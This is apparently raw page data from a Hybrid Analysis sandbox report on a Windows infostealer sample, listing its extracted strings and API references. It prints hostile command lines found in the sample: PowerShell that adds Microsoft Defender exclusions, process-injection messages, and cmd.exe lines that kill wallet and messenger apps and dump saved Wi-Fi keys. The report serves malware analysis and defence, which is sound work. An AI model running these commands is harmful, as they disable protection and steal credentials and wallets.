24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 78:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ser.Mikey.Generic Sample 1d35ce5483a2… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1d35ce5483a2…. Malware family: Ser.Mikey.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215","keywords":["Malicious","Ser.Mikey.Generic","malware analysis","sandbox report","threat intelligence","1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215"],"about":{"@type":"SoftwareApplication","name":"Built_Stubb.dat.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ser.Mikey.Generic","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T12c3,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAlloc"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAllocEx"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "VirtualAlloc failed" (Indicator: "VirtualAlloc"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: WriteProcessMemory failed" (Indicator: "WriteProcessMemory"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: VirtualAllocEx for PE failed" (Indicator: "VirtualAlloc"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: VirtualAllocEx for PE failed" (Indicator: "VirtualAllocEx"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAlloc"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAllocEx"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "VirtualAlloc failed" (Indicator: "VirtualAlloc"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")26:T62c,file/memory contains long string with (Indicator: "add-mppreference"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath '%s' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "add-mppreference"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath '%s' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")27:T880,Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")28:Tb82,Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "NtCreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "NtCreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "NtCreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "NtCreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "NtCreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "NtCreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")29:Te4b,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "Handle enumeration requires NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "OK: Prevent Sleep active" (Indicator: " Sleep "; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "Handle enumeration requires NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OK: Prevent Sleep active" (Indicator: " Sleep "; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")2a:T7ad,Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")2b:T62e,Found reference to API "ChangeServiceConfig2A" (Indicator: "ChangeServiceConfig"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ControlService" (Indicator: "ControlService"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: ChangeServiceConfig failed" (Indicator: "ChangeServiceConfig"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: ChangeServiceConfig2 failed" (Indicator: "ChangeServiceConfig"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: ChangeServiceConfig failed" (Indicator: "ChangeServiceConfig"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: ChangeServiceConfig2 failed" (Indicator: "ChangeServiceConfig"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ChangeServiceConfig2A" (Indicator: "ChangeServiceConfig"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")2c:T45e,Observed string: "C:\Windows\System32\Amsi.dll" (Indicator: "amsi.dll") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin Observed string: "C:\Windows\SysWow64\Amsi.dll" (Indicator: "amsi.dll") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin Observed string: "amsi.dll" (Indicator: "amsi.dll") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin Observed string: "C:\Windows\System32\Amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp Observed string: "C:\Windows\SysWow64\Amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp Observed string: "amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp2d:T72b,"netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SOFTWAREPROTECTIONPLATFORM") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "netsh.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS")2e:T94e,"nul" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c rd /s /q "%s"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "Conhost --headless cmd.exe /c start "" "%s" --user-data-dir="%s"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Telegram.exe /F & "%s\Telegram Desktop\Telegram.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Ayugram.exe /F & "%s\Ayugram Desktop\Ayugram.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Skype.exe /F & "%s\Microsoft\Skype for Desktop\Skype.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Discord.exe /F & "%s\Discord\app-*\Discord.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM OUTLOOK.EXE /F & outlook" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Foxmail.exe /F & "%s\Foxmail\Foxmail.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM thunderbird.exe /F & thunderbird" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM DingTalk.exe /F & "%s\DingDing\DingTalk.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Exodus.exe /F & "%s\Programs\Exodus\Exodus.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM electrum.exe /F & "%s\Electrum\electrum.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Atomic Wallet.exe /F & "%s\Programs\Atomic Wallet\Atomic Wallet.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Guarda.exe /F & "%s\Programs\Guarda\Guarda.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM Coinomi.exe /F & "%s\Coinomi\Coinomi.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM ArmoryQt.exe /F & "C:\Program Files (x86)\Armory\ArmoryQt.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c taskkill /IM "Jaxx Liberty.exe" /F & "%s\Programs\com.liberty.jaxx\Jaxx Liberty.exe"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profiles > "%s"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c %s" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c %s /qn" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c %s /S /silent /quiet" (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "cmd.exe /c"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /C "%s"" (Indicator: "cmd.exe /c"; File: 